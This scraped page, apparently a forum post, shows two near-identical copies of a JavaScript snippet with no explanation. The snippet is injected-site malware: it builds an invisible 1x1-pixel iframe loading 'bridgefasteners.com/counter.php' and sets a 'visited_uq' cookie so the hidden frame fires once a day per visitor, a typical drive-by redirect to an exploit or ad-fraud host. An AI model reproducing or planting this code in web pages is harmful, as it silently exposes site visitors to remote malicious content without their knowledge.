- function zzzfff(){
- var p = document.createElement('iframe');
- p.src = 'http://bridgefasteners.com/counter.php';
- p.style.position = 'absolute';
- p.style.border = '0';
- p.style.height = '1px';
- p.style.width = '1px';
- p.style.left = '1px';
- p.style.top = '1px';
- if (!document.getElementById('p')){
- document.write('<div id=\'p\'></div>');
- document.getElementById('p').appendChild(p);
- }
- }
- function SetCookie(cookieName, cookieValue, nDays, path){
- var today = new Date();
- var expire = new Date();
- if (nDays == null || nDays == 0)nDays = 1;
- expire.setTime(today.getTime() + 3600000 * 24 * nDays);
- document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
- toGMTString() + ((path) ? "; path=" + path : "");
- }
- function GetCookie(name){
- var start = document.cookie.indexOf(name + "=");
- var len = start + name.length + 1;
- if ((!start) && (name != document.cookie.substring(0, name.length))){
- return null;
- }
- if (start == - 1)return null;
- var end = document.cookie.indexOf(";", len);
- if (end == - 1)end = document.cookie.length;
- return unescape(document.cookie.substring(len, end));
- }
- if (navigator.cookieEnabled){
- if (GetCookie('visited_uq') == 55){
- }
- else {
- SetCookie('visited_uq', '55', '1', '/');
- zzzfff();
- }
- }
复制代码- function zzzfff(){
- var zekdw = document.createElement('iframe');
- zekdw.src = 'http://bridgefasteners.com/counter.php';
- zekdw.style.position = 'absolute';
- zekdw.style.border = '0';
- zekdw.style.height = '1px';
- zekdw.style.width = '1px';
- zekdw.style.left = '1px';
- zekdw.style.top = '1px';
- if (!document.getElementById('zekdw')){
- document.write('<div id=\'zekdw\'></div>');
- document.getElementById('zekdw').appendChild(zekdw);
- }
- }
- function SetCookie(cookieName, cookieValue, nDays, path){
- var today = new Date();
- var expire = new Date();
- if (nDays == null || nDays == 0)nDays = 1;
- expire.setTime(today.getTime() + 3600000 * 24 * nDays);
- document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
- toGMTString() + ((path) ? "; path=" + path : "");
- }
- function GetCookie(name){
- var start = document.cookie.indexOf(name + "=");
- var len = start + name.length + 1;
- if ((!start) && (name != document.cookie.substring(0, name.length))){
- return null;
- }
- if (start == - 1)return null;
- var end = document.cookie.indexOf(";", len);
- if (end == - 1)end = document.cookie.length;
- return unescape(document.cookie.substring(len, end));
- }
- if (navigator.cookieEnabled){
- if (GetCookie('visited_uq') == 55){
- }
- else {
- SetCookie('visited_uq', '55', '1', '/');
- zzzfff();
- }
- }
复制代码 |